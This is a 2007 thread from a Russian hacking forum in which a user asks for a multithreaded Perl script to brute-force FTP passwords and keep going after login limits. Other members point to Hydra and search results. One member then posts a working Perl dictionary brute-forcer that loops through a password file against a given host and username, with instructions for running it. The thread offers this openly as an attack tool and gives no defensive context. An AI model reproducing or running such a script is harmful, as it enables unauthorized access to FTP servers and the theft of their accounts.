Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Perl скрипт для FTP брута (https://forum.antichat.xyz/showthread.php?t=51388)

1ten0.0net1 17.10.2007 20:49
Perl скрипт для FTP брута
 
Требуется перловый простенький скрипт для брута по словарю, желательно много поточный, который не умирает после ограниченного кол-ва попыток авторизации, а продолжает свое коварное дело.
Что посоветуете?

guest3297 17.10.2007 20:53
Боян
гидра.

KSURi 17.10.2007 21:00
пицот мильенов таких скриптов в паблике
я сам помнится выкладывал... давно правда

1ten0.0net1 17.10.2007 21:00
Никаких боянов! перловый скрипт!
ПО поиску по форуму не нашел ничего толкового кроме скрипта от hold up team - но именно он и дохнет после n (чаще всего n < 10) попыток авторизации.

guest3297 17.10.2007 21:03
http://www.google.ru/search?complete=1&hl=en&newwindow=1&client=firefox-a&rls=org.mozilla:en-US:official&hs=brW&sa=X&oi=spell&resnum=0&ct=resul t&cd=1&q=perl+ftp+brute+force&spell=1

http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=ftp+brute+force&type=archiv es

1ten0.0net1 17.10.2007 21:05
Я полностью согласен с поиском - но то-то и оно, что мне не нужен комплект утилит для брута, уж тем более виндовые - нужен маленький шустрый скрипт, который через поиска найти проблемно - поэтому я и спрашиваю - у кого есть такой на собственнном вооружении.

Spyder 18.10.2007 00:12
Код:
#!/usr/bin/perl
use NET::FTP;
print "FTP Bruteng by Spyder\nWorking...\n";
open (SRC, "G:/xek.txt") or die "cant open\n";# путь к файлу с паролями, в винде вообще проблема с открытием файлов
@SRC = <SRC>;
$n = @SRC;
CHECK: for ($id = 0;$id <= $n;$id++) {
$login = "$ARGV[1]";
$pass = "$SRC[$id]";
chomp($pass);
$ip = "$ARGV[0]";
$ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
last CHECK if $ok;
}
print "Pass for $ARGV[0] is $SRC[$id]\n";
Вроде работает
Запускаем:
perl brute.pl <адрес> <логин>

C!klodoL 18.10.2007 00:18
Spyder а почему ты не реализовал многопоточность? ее же легко сделать, а так скорость будет ниже в 2-3 раза чем с многопоточностью

Spyder 18.10.2007 00:19
я ламер и нуб


Время: 13:17